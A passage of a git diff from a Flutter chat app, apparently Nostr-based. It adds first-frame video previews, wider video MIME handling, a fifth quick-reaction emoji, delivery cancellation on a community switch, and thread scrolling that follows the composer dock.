 import '../../shared/clipboard_utils.dart';
 import '../../shared/relay/relay.dart';
@@ -25,6 +27,7 @@ import 'media_viewer_page.dart';
 import 'message_media.dart';
 
 part 'message_content/media_carousel.dart';
+part 'message_content/video_preview.dart';
 
 const _messageMediaMaxInlineWidth = 320.0;
 const _messageMediaMaxImageHeight = 240.0;
@@ -105,6 +108,9 @@ class MessageContent extends HookConsumerWidget {
 
   final TextStyle? baseStyle;
 
+  /// Alignment applied to rendered markdown text.
+  final TextAlign? textAlign;
+
   final int? maxLines;
 
   /// Render a body that is nothing but emoji at [kEmojiOnlyFontSize], the way
@@ -134,6 +140,7 @@ class MessageContent extends HookConsumerWidget {
     this.onMediaReply,
     this.onMediaMore,
     this.baseStyle,
+    this.textAlign,
     this.maxLines,
     this.scaleEmojiOnly = false,
     this.mediaCarouselLeadingOverflow = 0,
@@ -266,6 +273,7 @@ class MessageContent extends HookConsumerWidget {
             _buildLink(context, ref, linkText, url, linkStyle, style),
         imageBuilder: (context, imageUrl) =>
             _buildMedia(context, imageUrl, imetaByUrl[imageUrl]),
+        textAlign: textAlign,
         maxLines: maxLines,
         inlineComponents: [
           _MentionMd(
@@ -306,7 +314,11 @@ class MessageContent extends HookConsumerWidget {
   Widget _buildMedia(BuildContext context, String imageUrl, ImetaEntry? imeta) {
     final mediaKind = classifyMediaUrl(imageUrl, imeta: imeta);
     if (mediaKind == MessageMediaKind.video) {
-      return _MessageVideoPreview(url: imageUrl, imeta: imeta);
+      return _MessageVideoPreview(
+        url: imageUrl,
+        imeta: imeta,
+        onReply: onMediaReply,
+      );
     }
     return _MessageImagePreview(
       url: imageUrl,
@@ -449,82 +461,6 @@ class _MessageImagePreview extends HookConsumerWidget {
   }
 }
 
-class _MessageVideoPreview extends StatelessWidget {
-  final String url;
-  final ImetaEntry? imeta;
-
-  const _MessageVideoPreview({required this.url, required this.imeta});
-
-  @override
-  Widget build(BuildContext context) {
-    final rawAspectRatio = imeta?.aspectRatio ?? (16 / 9);
-    final aspectRatio = rawAspectRatio.clamp(0.75, 1.91);
-    final posterUrl = imeta?.posterUrl;
-
-    return Padding(
-      padding: const EdgeInsets.only(top: Grid.half),
-      child: GestureDetector(
-        onTap: () =>
-            openVideoViewer(context, videoUrl: url, posterUrl: posterUrl),
-        child: _MessageMediaPreviewFrame(
-          previewKey: ValueKey('message-media-video-preview:$url'),
-          backgroundColor: Colors.black,
-          child: AspectRatio(
-            aspectRatio: aspectRatio.toDouble(),
-            child: Stack(
-              fit: StackFit.expand,
-              children: [
-                if (posterUrl != null)
-                  MediaImage(
-                    url: posterUrl,
-                    fit: BoxFit.cover,
-                    errorBuilder: (_, _, _) => const _MediaPreviewFallback(
-                      icon: LucideIcons.video,
-                      label: 'Video preview unavailable',
-                    ),
-                  )
-                else
-                  const _MediaPreviewFallback(
-                    icon: LucideIcons.video,
-                    label: 'Video attachment',
-                  ),
-                const ColoredBox(color: Color.fromRGBO(0, 0, 0, 0.28)),
-                Center(
-                  child: Container(
-                    width: 52,
-                    height: 52,
-                    decoration: const BoxDecoration(
-                      color: Color.fromRGBO(0, 0, 0, 0.6),
-                      shape: BoxShape.circle,
-                    ),
-                    child: const Icon(
-                      LucideIcons.play,
-                      color: Colors.white,
-                      size: 24,
-                    ),
-                  ),
-                ),
-                Positioned(
-                  left: Grid.xxs,
-                  right: Grid.xxs,
-                  bottom: Grid.xxs,
-                  child: Text(
-                    'Video',
-                    style: context.textTheme.labelSmall?.copyWith(
-                      color: Colors.white,
-                      fontWeight: FontWeight.w600,
-                    ),
-                  ),
-                ),
-              ],
-            ),
-          ),
-        ),
-      ),
-    );
-  }
-}
-
 class _MessageMediaPreviewFrame extends StatelessWidget {
   final Key previewKey;
   final Color backgroundColor;
diff --git a/mobile/lib/features/channels/message_content/video_preview.dart b/mobile/lib/features/channels/message_content/video_preview.dart
new file mode 100644
index 0000000000..61d92cb2be
--- /dev/null
+++ b/mobile/lib/features/channels/message_content/video_preview.dart
@@ -0,0 +1,228 @@
+part of '../message_content.dart';
+
+/// A decoded, paused video surface used as a posterless message preview.
+class LoadedVideoPreviewFrame {
+  /// Widget backed by the initialized native video texture.
+  final Widget child;
+
+  /// Aspect ratio reported by the video decoder.
+  final double aspectRatio;
+
+  final Future<void> Function() _dispose;
+
+  /// Creates a loaded preview frame with its resource cleanup callback.
+  const LoadedVideoPreviewFrame({
+    required this.child,
+    required this.aspectRatio,
+    required Future<void> Function() dispose,
+  }) : _dispose = dispose;
+
+  /// Releases the native decoder and any downloaded temporary file.
+  Future<void> dispose() => _dispose();
+}
+
+/// Loads a paused first-frame surface for a video URL.
+typedef VideoPreviewFrameLoader =
+    Future<LoadedVideoPreviewFrame?> Function(String url);
+
+/// Loader used when an older video event has no NIP-71 poster URL.
+final videoPreviewFrameLoaderProvider = Provider<VideoPreviewFrameLoader>((
+  ref,
+) {
+  final auth = ref.watch(mediaGetAuthServiceProvider);
+  return (url) => _loadVideoPreviewFrame(url, headers: auth.headersFor(url));
+});
+
+class _MessageVideoPreview extends HookConsumerWidget {
+  final String url;
+  final ImetaEntry? imeta;
+  final VoidCallback? onReply;
+
+  const _MessageVideoPreview({
+    required this.url,
+    required this.imeta,
+    required this.onReply,
+  });
+
+  @override
+  Widget build(BuildContext context, WidgetRef ref) {
+    final rawAspectRatio = imeta?.aspectRatio ?? (16 / 9);
+    final aspectRatio = rawAspectRatio.clamp(0.75, 1.91);
+    final posterUrl = imeta?.posterUrl;
+    final loadPreviewFrame = ref.watch(videoPreviewFrameLoaderProvider);
+    final previewFrameFuture = useMemoized(
+      () => posterUrl == null
+          ? loadPreviewFrame(url)
+          : Future<LoadedVideoPreviewFrame?>.value(),
+      [loadPreviewFrame, posterUrl, url],
+    );
+
+    useEffect(() {
+      var disposed = false;
+      LoadedVideoPreviewFrame? loadedFrame;
+      unawaited(
+        previewFrameFuture.then((frame) {
+          if (disposed) {
+            if (frame != null) unawaited(frame.dispose());
+          } else {
+            loadedFrame = frame;
+          }
+        }),
+      );
+      return () {
+        disposed = true;
+        final frame = loadedFrame;
+        if (frame != null) unawaited(frame.dispose());
+      };
+    }, [previewFrameFuture]);
+
+    return Padding(
+      padding: const EdgeInsets.only(top: Grid.half),
+      child: GestureDetector(
+        onTap: () => openVideoViewer(
+          context,
+          videoUrl: url,
+          posterUrl: posterUrl,
+          onReply: onReply,
+        ),
+        child: _MessageMediaPreviewFrame(
+          previewKey: ValueKey('message-media-video-preview:$url'),
+          backgroundColor: Colors.black,
+          child: AspectRatio(
+            aspectRatio: aspectRatio.toDouble(),
+            child: Stack(
+              fit: StackFit.expand,
+              children: [
+                if (posterUrl != null)
+                  MediaImage(
+                    url: posterUrl,
+                    fit: BoxFit.cover,
+                    errorBuilder: (_, _, _) => const _MediaPreviewFallback(
+                      icon: LucideIcons.video,
+                      label: 'Video preview unavailable',
+                    ),
+                  )
+                else
+                  FutureBuilder<LoadedVideoPreviewFrame?>(
+                    future: previewFrameFuture,
+                    builder: (context, snapshot) {
+                      final frame = snapshot.data;
+                      if (frame == null) {
+                        return const _MediaPreviewFallback(
+                          icon: LucideIcons.video,
+                          label: 'Video attachment',
+                        );
+                      }
+                      return ColoredBox(
+                        key: ValueKey('message-media-video-first-frame:$url'),
+                        color: Colors.black,
+                        child: Center(
+                          child: AspectRatio(
+                            aspectRatio: frame.aspectRatio,
+                            child: frame.child,
+                          ),
+                        ),
+                      );
+                    },
+                  ),
+                const ColoredBox(color: Color.fromRGBO(0, 0, 0, 0.28)),
+                Center(
+                  child: Container(
+                    width: 52,
+                    height: 52,
+                    decoration: const BoxDecoration(
+                      color: Color.fromRGBO(0, 0, 0, 0.6),
+                      shape: BoxShape.circle,
+                    ),
+                    child: const Icon(
+                      LucideIcons.play,
+                      color: Colors.white,
+                      size: 24,
+                    ),
+                  ),
+                ),
+                Positioned(
+                  left: Grid.xxs,
+                  right: Grid.xxs,
+                  bottom: Grid.xxs,
+                  child: Text(
+                    'Video',
+                    style: context.textTheme.labelSmall?.copyWith(
+                      color: Colors.white,
+                      fontWeight: FontWeight.w600,
+                    ),
+                  ),
+                ),
+              ],
+            ),
+          ),
+        ),
+      ),
+    );
+  }
+}
+
+Future<LoadedVideoPreviewFrame?> _loadVideoPreviewFrame(
+  String url, {
+  required Map<String, String> headers,
+}) async {
+  final uri = Uri.tryParse(url);
+  if (uri == null || !uri.hasScheme) return null;
+
+  VideoPlayerController? controller;
+  Future<void> disposeResources() async {
+    final currentController = controller;
+    controller = null;
+    if (currentController != null) await currentController.dispose();
+  }
+
+  Future<bool> initialize(VideoPlayerController candidate) async {
+    controller = candidate;
+    await candidate.initialize();
+    final duration = candidate.value.duration;
+    if (duration > const Duration(milliseconds: 100)) {
+      await candidate.seekTo(const Duration(milliseconds: 100));
+    }
+    await candidate.pause();
+    return candidate.value.isInitialized;
+  }
+
+  try {
+    final networkController = VideoPlayerController.networkUrl(
+      uri,
+      httpHeaders: headers,
+      videoPlayerOptions: VideoPlayerOptions(mixWithOthers: true),
+    );
+    if (!await initialize(networkController)) {
+      await disposeResources();
+      return null;
+    }
+  } on MissingPluginException {
+    await disposeResources();
+    return null;
+  } on UnimplementedError {
+    await disposeResources();
+    return null;
+  } catch (_) {
+    // A timeline preview must stay bounded: falling back to a local file here
+    // would fully download every posterless video encountered while scrolling.
+    // The full-screen viewer can use its authenticated fallback after a tap.
+    await disposeResources();
+    return null;
+  }
+
+  final initializedController = controller;
+  if (initializedController == null) return null;
+  var didDispose = false;
+  return LoadedVideoPreviewFrame(
+    aspectRatio: initializedController.value.aspectRatio > 0
+        ? initializedController.value.aspectRatio
+        : 16 / 9,
+    child: VideoPlayer(initializedController),
+    dispose: () async {
+      if (didDispose) return;
+      didDispose = true;
+      await disposeResources();
+    },
+  );
+}
diff --git a/mobile/lib/features/channels/message_media.dart b/mobile/lib/features/channels/message_media.dart
index f46a6614e2..40d0e31773 100644
--- a/mobile/lib/features/channels/message_media.dart
+++ b/mobile/lib/features/channels/message_media.dart
@@ -85,9 +85,11 @@ Map<String, ImetaEntry> parseImetaTags(List<List<String>> tags) {
 MessageMediaKind? classifyMediaUrl(String url, {ImetaEntry? imeta}) {
   final mimeType = imeta?.mimeType;
   if (mimeType != null) {
-    if (mimeType == 'video/mp4') return MessageMediaKind.video;
+    // An imeta MIME type is authoritative. The native video player chooses
+    // whether the device can decode the specific codec/container; rejecting
+    // every non-MP4 video here prevents it from even trying.
+    if (mimeType.startsWith('video/')) return MessageMediaKind.video;
     if (mimeType.startsWith('image/')) return MessageMediaKind.image;
-    if (mimeType.startsWith('video/')) return null;
   }
 
   final path = (Uri.tryParse(url)?.path ?? url).toLowerCase();
diff --git a/mobile/lib/features/channels/reaction_row.dart b/mobile/lib/features/channels/reaction_row.dart
index a9511c587d..8a3c589a32 100644
--- a/mobile/lib/features/channels/reaction_row.dart
+++ b/mobile/lib/features/channels/reaction_row.dart
@@ -5,9 +5,11 @@ import 'package:lucide_icons_flutter/lucide_icons.dart';
 
 import '../../shared/theme/theme.dart';
 import '../../shared/widgets/avatar_image.dart';
+import '../../shared/widgets/modal_presentation.dart';
 import '../../shared/custom_emoji/custom_emoji_render.dart';
 import '../../shared/emoji/emoji_burst.dart';
 import '../../shared/emoji/emoji_data_provider.dart';
+import '../../shared/emoji/native_emoji_glyph.dart';
 import '../../shared/emoji/positive_emoji.dart';
 import '../profile/user_cache_provider.dart';
 import '../profile/user_profile.dart';
@@ -303,7 +305,7 @@ class _ReactionEmoji extends StatelessWidget {
   Widget build(BuildContext context) {
     final emojiUrl = reaction.emojiUrl;
     if (emojiUrl == null || emojiUrl.isEmpty) {
-      return Text(reaction.emoji, style: TextStyle(fontSize: size));
+      return NativeEmojiGlyph(emoji: reaction.emoji, size: size);
     }
     final shortcode = reaction.emoji.substring(1, reaction.emoji.length - 1);
     return CustomEmojiImage(shortcode: shortcode, url: emojiUrl, size: size);
@@ -315,7 +317,7 @@ void showReactionDetailSheet({
   required List<TimelineReaction> reactions,
   required String initialEmoji,
 }) {
-  showModalBottomSheet<void>(
+  showBuzzModalBottomSheet<void>(
     context: context,
     isScrollControlled: true,
     showDragHandle: true,
diff --git a/mobile/lib/features/channels/recent_emoji_provider.dart b/mobile/lib/features/channels/recent_emoji_provider.dart
index 088dcd3b2a..f024ffcd2f 100644
--- a/mobile/lib/features/channels/recent_emoji_provider.dart
+++ b/mobile/lib/features/channels/recent_emoji_provider.dart
@@ -17,13 +17,14 @@ import '../../shared/theme/theme_provider.dart';
 /// leak across an in-place community or account switch.
 const _recentEmojiPrefsKey = 'buzz.quick-reaction-emojis.v1';
 
-/// Desktop's `DEFAULT_QUICK_REACTIONS`, used until the user has reacted enough
-/// to fill the row.
+/// Desktop's `DEFAULT_QUICK_REACTIONS`, plus one mobile-only slot that fits in
+/// the compact action sheet, used until the user has reacted enough to fill it.
 const defaultQuickEmojis = <String>[
   '\u{1F44D}',
   '\u{2764}\u{FE0F}',
   '\u{1F602}',
   '\u{1F389}',
+  '\u{1F525}',
 ];
 
 /// Desktop's `MAX_STORED_REACTIONS`.
@@ -167,7 +168,7 @@ final recentEmojiProvider =
 List<String> quickReactionEmoji(
   List<RecentEmojiEntry> entries, {
   required Set<String> customShortcodes,
-  int limit = 4,
+  int limit = 5,
 }) {
   final result = <String>[];
   void add(String emoji) {
diff --git a/mobile/lib/features/channels/send_message_provider.dart b/mobile/lib/features/channels/send_message_provider.dart
index 3659bda4bf..730546807f 100644
--- a/mobile/lib/features/channels/send_message_provider.dart
+++ b/mobile/lib/features/channels/send_message_provider.dart
@@ -15,6 +15,7 @@ class SendMessage {
   final void Function(String channelId, NostrEvent event) _addLocalMessage;
   final void Function(String channelId, String eventId) _completeLocalMessage;
   final void Function(String channelId, String eventId) _removeLocalMessage;
+  final bool Function()? _isDeliveryValid;
 
   SendMessage({
     required SignedEventRelay signedEventRelay,
@@ -25,12 +26,14 @@ class SendMessage {
     required void Function(String channelId, String eventId)
     completeLocalMessage,
     required void Function(String channelId, String eventId) removeLocalMessage,
+    bool Function()? isDeliveryValid,
   }) : _signedEventRelay = signedEventRelay,
        _fetchMembers = fetchMembers,
        _readUserCache = readUserCache,
        _addLocalMessage = addLocalMessage,
        _completeLocalMessage = completeLocalMessage,
-       _removeLocalMessage = removeLocalMessage;
+       _removeLocalMessage = removeLocalMessage,
+       _isDeliveryValid = isDeliveryValid;
 
   /// Send a text message to a channel.
   ///
@@ -47,6 +50,7 @@ class SendMessage {
     List<String>? mentionPubkeys,
     List<List<String>> mediaTags = const [],
   }) async {
+    _ensureDeliveryValid();
     // Use explicitly passed pubkeys, or resolve @mentions against
     // channel members to avoid matching the wrong user.
     final resolvedMentions =
@@ -69,6 +73,7 @@ class SendMessage {
       ...mediaTags,
     ];
 
+    _ensureDeliveryValid();
     NostrEvent? localMessage;
     try {
       await _signedEventRelay.submit(
@@ -89,6 +94,14 @@ class SendMessage {
     }
   }
 
+  void _ensureDeliveryValid() {
+    if (_isDeliveryValid?.call() == false) {
+      throw StateError(
+        'Message delivery cancelled because the active community changed',
+      );
+    }
+  }
+
   /// Resolve @mentions to pubkeys, scoped to channel members.
   ///
   /// Fetches channel members from the relay and matches @names only
@@ -179,5 +192,10 @@ final sendMessageProvider = Provider<SendMessage>((ref) {
     removeLocalMessage: (channelId, eventId) => ref
         .read(channelMessagesProvider(channelId).notifier)
         .removeLocalMessage(eventId),
+    isDeliveryValid: () {
+      final currentConfig = ref.read(relayConfigProvider);
+      return currentConfig.baseUrl == config.baseUrl &&
+          currentConfig.nsec == config.nsec;
+    },
   );
 });
diff --git a/mobile/lib/features/channels/thread_detail_page.dart b/mobile/lib/features/channels/thread_detail_page.dart
index 810861aa00..fff7f5834b 100644
--- a/mobile/lib/features/channels/thread_detail_page.dart
+++ b/mobile/lib/features/channels/thread_detail_page.dart
@@ -20,14 +20,15 @@ import 'channel_typing_indicator.dart';
 import 'thread_replies_provider.dart';
 import 'channels_provider.dart';
 import 'compose_bar.dart';
+import 'composer_dock_size_reporter.dart';
 import 'date_formatters.dart';
 import 'day_divider.dart';
 import '../profile/user_profile_sheet.dart';
 import 'message_actions.dart';
 import 'message_content.dart';
 import 'reaction_row.dart';
-import 'read_state/read_state_format.dart';
-import 'read_state/read_state_provider.dart';
+import '../../shared/read_state/read_state_format.dart';
+import '../../shared/read_state/read_state_provider.dart';
 import 'send_message_provider.dart';
 import 'small_avatar.dart';
 import 'timeline_message.dart';
@@ -58,6 +59,8 @@ class ThreadDetailPage extends HookConsumerWidget {
 
   @override
   Widget build(BuildContext context, WidgetRef ref) {
+    final composerDockHeight = useState(0.0);
+    final sendMessage = ref.read(sendMessageProvider);
     // Relay thread queries are keyed by the outermost root, even when this
     // page displays a nested branch. Query that root, then select this head's
     // direct children from the returned subtree below.
@@ -113,11 +116,35 @@ class ThreadDetailPage extends HookConsumerWidget {
     final itemScrollController = useMemoized(ItemScrollController.new);
     final itemPositionsListener = useMemoized(ItemPositionsListener.create);
     final didJumpToInitialMessage = useRef(false);
+    final followsThreadTail = useRef(false);
+    final pendingTailAlignment = useRef<double?>(null);
+    final tailRealignmentQueued = useRef(false);
 
     // Item 0 is the thread head; reply `i` lives at `i + 1`.
     const headIndex = 0;
     int indexForReply(int chronologicalIndex) => chronologicalIndex + 1;
 
+    bool threadTailIsVisible() {
+      final lastIndex = replies.isEmpty
+          ? headIndex
+          : indexForReply(replies.length - 1);
+      return itemPositionsListener.itemPositions.value.any(
+        (position) =>
+            position.index == lastIndex && position.itemTrailingEdge <= 1.001,
+      );
+    }
+
+    useEffect(() {
+      void onPositionsChanged() {
+        if (threadTailIsVisible()) followsThreadTail.value = true;
+      }
+
+      itemPositionsListener.itemPositions.addListener(onPositionsChanged);
+      return () => itemPositionsListener.itemPositions.removeListener(
+        onPositionsChanged,
+      );
+    }, [itemPositionsListener, replies.length]);
+
     useEffect(() {
       final messageId = initialMessageId;
       // Wait for the authoritative thread query before consuming the one-shot
@@ -134,6 +161,11 @@ class ThreadDetailPage extends HookConsumerWidget {
       if (targetIndex == null || didJumpToInitialMessage.value) return null;
       WidgetsBinding.instance.addPostFrameCallback((_) {
         if (!context.mounted || !itemScrollController.isAttached) return;
+        // The provisional route snapshot can make the linked reply look like
+        // the tail. This authoritative deep-link jump intentionally leaves
+        // the user at an older item, so it must opt out of follow-tail first.
+        followsThreadTail.value = false;
+        pendingTailAlignment.value = null;
         itemScrollController.jumpTo(index: targetIndex, alignment: 0.35);
         didJumpToInitialMessage.value = true;
       });
@@ -227,6 +259,74 @@ class ThreadDetailPage extends HookConsumerWidget {
     // itself a root message its rootId is null, so fall back to its own id.
     final effectiveRootId = threadHead.rootId ?? threadHead.id;
 
+    void updateComposerDockHeight(double height) {
+      final previousHeight = composerDockHeight.value;
+      final heightDelta = height - previousHeight;
+      if (heightDelta.abs() < 0.5) return;
+
+      final shouldFollowTail = followsThreadTail.value || threadTailIsVisible();
+      if (shouldFollowTail) followsThreadTail.value = true;
+      composerDockHeight.value = height;
+      if (heightDelta <= 0 || !shouldFollowTail) {
+        pendingTailAlignment.value = null;
+        return;
+      }
+      final lastIndex = replies.isEmpty
+          ? headIndex
+          : indexForReply(replies.length - 1);
+      final lastPosition = itemPositionsListener.itemPositions.value
+          .where((position) => position.index == lastIndex)
+          .firstOrNull;
+      if (lastPosition == null) return;
+      final targetAlignment =
+          (pendingTailAlignment.value ?? lastPosition.itemLeadingEdge) -
+          (heightDelta / MediaQuery.sizeOf(context).height);
+      pendingTailAlignment.value = targetAlignment;
+
+      WidgetsBinding.instance.addPostFrameCallback((_) {
+        if (!context.mounted || !itemScrollController.isAttached) return;
+        itemScrollController.jumpTo(
+          index: lastIndex,
+          alignment: targetAlignment,
+        );
+      });
+    }
+
+    // Composer size changes and keyboard metrics changes are independent:
+    // the dock grows first, then the Scaffold's viewport shrinks once the
+    // keyboard appears. Re-align after that latter layout pass too, but only
+    // while the user was already following the thread tail.
+    void realignThreadTailAfterMetricsChange() {
+      final shouldFollowTail = followsThreadTail.value || threadTailIsVisible();
+      if (!shouldFollowTail || tailRealignmentQueued.value) return;
+      followsThreadTail.value = true;
+      tailRealignmentQueued.value = true;
+      WidgetsBinding.instance.addPostFrameCallback((_) {
+        tailRealignmentQueued.value = false;
+        if (!context.mounted ||
+            !itemScrollController.isAttached ||
+            !followsThreadTail.value) {
+          return;
+        }
+        final lastIndex = replies.isEmpty
+            ? headIndex
+            : indexForReply(replies.length - 1);
+        itemScrollController.scrollTo(
+          index: lastIndex,
+          duration: const Duration(milliseconds: 220),
+          curve: Curves.easeOutCubic,
+        );
+      });
+    }
+
+    useEffect(() {
+      final observer = _ThreadTailMetricsObserver(
+        onMetricsChanged: realignThreadTailAfterMetricsChange,
+      );
+      WidgetsBinding.instance.addObserver(observer);
+      return () => WidgetsBinding.instance.removeObserver(observer);
+    }, [itemScrollController, replies.length]);
+
     // Channel names for message content rendering.
     final channelsAsync = ref.watch(channelsProvider);
     final channelNamesMap = <String, String>{};
@@ -241,177 +341,212 @@ class ThreadDetailPage extends HookConsumerWidget {
         title: Text('Thread'),
         titleStyle: channelTitleTextStyle,
       ),
-      body: Column(
+      body: Stack(
+        fit: StackFit.expand,
         children: [
-          Expanded(
-            child: KeyboardDismissOnDrag(
-              child: ScrollablePositionedList.builder(
-                key: const ValueKey('thread-message-list'),
-                itemScrollController: itemScrollController,
-                itemPositionsListener: itemPositionsListener,
-                // Top-anchored, head first, replies flowing down — matching
-                // desktop's thread panel. The old reversed list bottom-anchored
-                // the content, which jammed the head against the composer
-                // whenever a thread had only a handful of replies.
-                padding: EdgeInsets.only(
-                  left: Grid.gutter,
-                  right: Grid.gutter,
-                  top: frostedAppBarHeight(context),
-                  bottom: Grid.xs,
-                ),
-                itemCount: replies.length + 1, // +1 for thread head
-                itemBuilder: (context, index) {
-                  if (index == headIndex) {
-                    if (liveDeletionHidesHead) {
-                      return const Padding(
-                        key: ValueKey('thread-message-deleted'),
-                        padding: EdgeInsets.only(bottom: Grid.xs),
-                        child: Text('This message was deleted'),
-                      );
-                    }
-                    return Padding(
-                      key: ValueKey('thread-message-group-${liveHead.id}'),
-                      padding: const EdgeInsets.only(bottom: Grid.xs),
-                      child: Column(
-                        crossAxisAlignment: CrossAxisAlignment.start,
-                        children: [
-                          DayDivider(
-                            label: formatDayHeading(liveHead.createdAt),
-                          ),
-                          _ThreadMessage(
-                            message: liveHead,
-                            channelNames: channelNamesMap,
-                            channelId: channelId,
-                            currentPubkey: currentPubkey,
-                            showAuthor: true,
-                            isHighlighted: liveHead.id == initialMessageId,
-                            allMessages: allMsgs,
-                            isMember: isMember,
-                            isArchived: isArchived,
-                            isThreadHead: true,
-                          ),
-                          Padding(
-                            padding: const EdgeInsets.symmetric(
-                              vertical: Grid.xxs,
-                            ),
-                            child: Row(
-                              children: [
-                                Text(
-                                  '${replies.length} ${replies.length == 1 ? 'reply' : 'replies'}',
-                                  style: context.textTheme.labelMedium
-                                      ?.copyWith(
-                                        color: context.colors.onSurfaceVariant,
-                                        fontWeight: FontWeight.w600,
-                                      ),
+          Column(
+            children: [
+              Expanded(
+                child: KeyboardDismissOnDrag(
+                  onUserScrollStart: () {
+                    followsThreadTail.value = false;
+                    pendingTailAlignment.value = null;
+                  },
+                  child: ScrollablePositionedList.builder(
+                    key: const ValueKey('thread-message-list'),
+                    itemScrollController: itemScrollController,
+                    itemPositionsListener: itemPositionsListener,
+                    // Top-anchored, head first, replies flowing down — matching
+                    // desktop's thread panel. The old reversed list bottom-anchored
+                    // the content, which jammed the head against the composer
+                    // whenever a thread had only a handful of replies.
+                    padding: EdgeInsets.only(
+                      left: Grid.gutter,
+                      right: Grid.gutter,
+                      top: frostedAppBarHeight(context),
+                      bottom: Grid.xs + composerDockHeight.value,
+                    ),
+                    itemCount: replies.length + 1, // +1 for thread head
+                    itemBuilder: (context, index) {
+                      if (index == headIndex) {
+                        if (liveDeletionHidesHead) {
+                          return const Padding(
+                            key: ValueKey('thread-message-deleted'),
+                            padding: EdgeInsets.only(bottom: Grid.xs),
+                            child: Text('This message was deleted'),
+                          );
+                        }
+                        return Padding(
+                          key: ValueKey('thread-message-group-${liveHead.id}'),
+                          padding: const EdgeInsets.only(bottom: Grid.xs),
+                          child: Column(
+                            crossAxisAlignment: CrossAxisAlignment.start,
+                            children: [
+                              DayDivider(
+                                label: formatDayHeading(liveHead.createdAt),
+                              ),
+                              _ThreadMessage(
+                                message: liveHead,
+                                channelNames: channelNamesMap,
+                                channelId: channelId,
+                                currentPubkey: currentPubkey,
+                                showAuthor: true,
+                                isHighlighted: liveHead.id == initialMessageId,
+                                allMessages: allMsgs,
+                                isMember: isMember,
+                                isArchived: isArchived,
+                                isThreadHead: true,
+                              ),
+                              Padding(
+                                padding: const EdgeInsets.symmetric(
+                                  vertical: Grid.xxs,
                                 ),
-                                const SizedBox(width: Grid.xxs),
-                                Expanded(
-                                  child: Divider(
-                                    color: context.colors.outlineVariant,
-                                  ),
+                                child: Row(
+                                  children: [
+                                    Text(
+                                      '${replies.length} ${replies.length == 1 ? 'reply' : 'replies'}',
+                                      style: context.textTheme.labelMedium
+                                          ?.copyWith(
+                                            color:
+                                                context.colors.onSurfaceVariant,
+                                            fontWeight: FontWeight.w600,
+                                          ),
+                                    ),
+                                    const SizedBox(width: Grid.xxs),
+                                    Expanded(
+                                      child: Divider(
+                                        color: context.colors.outlineVariant,
+                                      ),
+                                    ),
+                                  ],
                                 ),
-                              ],
-                            ),
+                              ),
+                            ],
                           ),
-                        ],
-                      ),
-                    );
-                  }
-
-                  // Chronological list: index 1 = oldest reply.
-                  final chronIdx = index - 1;
-                  final reply = replies[chronIdx];
-                  final prevReply = chronIdx > 0 ? replies[chronIdx - 1] : null;
-                  final previousMessage = prevReply ?? liveHead;
-                  final showDayDivider = !isSameDay(
-                    previousMessage.createdAt,
-                    reply.createdAt,
-                  );
-                  final showAuthor =
-                      prevReply == null ||
-                      showDayDivider ||
-                      prevReply.pubkey.toLowerCase() !=
-                          reply.pubkey.toLowerCase() ||
-                      (reply.createdAt - prevReply.createdAt) > 300;
-
-                  // Check if this reply itself has children (nested thread).
-                  final nestedChildren = childrenByParent[reply.id];
-                  final nestedSummary =
-                      nestedChildren != null && nestedChildren.isNotEmpty
-                      ? _buildNestedSummary(reply.id, nestedChildren)
-                      : null;
-
-                  return Padding(
-                    key: ValueKey('thread-message-group-${reply.id}'),
-                    // Tail spacing comes from the list's own bottom padding now
-                    // that the list runs top-down; the reversed list used to
-                    // need it here because item 0 sat against the composer.
-                    padding: EdgeInsets.zero,
-                    child: Column(
-                      crossAxisAlignment: CrossAxisAlignment.start,
-                      children: [
-                        if (showDayDivider)
-                          DayDivider(label: formatDayHeading(reply.createdAt)),
-                        _ThreadMessage(
-                          message: reply,
-                          channelNames: channelNamesMap,
-                          channelId: channelId,
-                          currentPubkey: currentPubkey,
-                          showAuthor: showAuthor,
-                          isHighlighted: reply.id == initialMessageId,
-                          allMessages: allMsgs,
-                          isMember: isMember,
-                          isArchived: isArchived,
+                        );
+                      }
+
+                      // Chronological list: index 1 = oldest reply.
+                      final chronIdx = index - 1;
+                      final reply = replies[chronIdx];
+                      final prevReply = chronIdx > 0
+                          ? replies[chronIdx - 1]
+                          : null;
+                      final previousMessage = prevReply ?? liveHead;
+                      final showDayDivider = !isSameDay(
+                        previousMessage.createdAt,
+                        reply.createdAt,
+                      );
+                      final showAuthor =
+                          prevReply == null ||
+                          showDayDivider ||
+                          prevReply.pubkey.toLowerCase() !=
+                              reply.pubkey.toLowerCase() ||
+                          (reply.createdAt - prevReply.createdAt) > 300;
+
+                      // Check if this reply itself has children (nested thread).
+                      final nestedChildren = childrenByParent[reply.id];
+                      final nestedSummary =
+                          nestedChildren != null && nestedChildren.isNotEmpty
+                          ? _buildNestedSummary(reply.id, nestedChildren)
+                          : null;
+
+                      return Padding(
+                        key: ValueKey('thread-message-group-${reply.id}'),
+                        // Tail spacing comes from the list's own bottom padding now
+                        // that the list runs top-down; the reversed list used to
+                        // need it here because item 0 sat against the composer.
+                        padding: EdgeInsets.zero,
+                        child: Column(
+                          crossAxisAlignment: CrossAxisAlignment.start,
+                          children: [
+                            if (showDayDivider)
+                              DayDivider(
+                                label: formatDayHeading(reply.createdAt),
+                              ),
+                            _ThreadMessage(
+                              message: reply,
+                              channelNames: channelNamesMap,
+                              channelId: channelId,
+                              currentPubkey: currentPubkey,
+                              showAuthor: showAuthor,
+                              isHighlighted: reply.id == initialMessageId,
+                              allMessages: allMsgs,
+                              isMember: isMember,
+                              isArchived: isArchived,
+                            ),
+                            if (nestedSummary != null)
+                              _NestedThreadSummaryRow(
+                                summary: nestedSummary,
+                                replyMessage: reply,
+                                allMessages: allMsgs,
+                                channelId: channelId,
+                                currentPubkey: currentPubkey,
+                                isMember: isMember,
+                                isArchived: isArchived,
+                              ),
+                          ],
                         ),
-                        if (nestedSummary != null)
-                          _NestedThreadSummaryRow(
-                            summary: nestedSummary,
-                            replyMessage: reply,
-                            allMessages: allMsgs,
+                      );
+                    },
+                  ),
+                ),
+              ),
+              if (!isMember || isArchived)
+                AnimatedSize(
+                  duration: MediaQuery.disableAnimationsOf(context)
+                      ? Duration.zero
+                      : const Duration(milliseconds: 180),
+                  curve: Curves.easeOutCubic,
+                  alignment: Alignment.bottomCenter,
+                  child: threadTyping.isEmpty
+                      ? const SizedBox.shrink()
+                      : ChannelTypingIndicator(entries: threadTyping),
+                ),
+            ],
+          ),
+          if (isMember && !isArchived)
+            Align(
+              alignment: Alignment.bottomCenter,
+              child: ComposerDockSizeReporter(
+                key: const ValueKey('thread-composer-dock'),
+                onHeightChanged: updateComposerDockHeight,
+                child: Column(
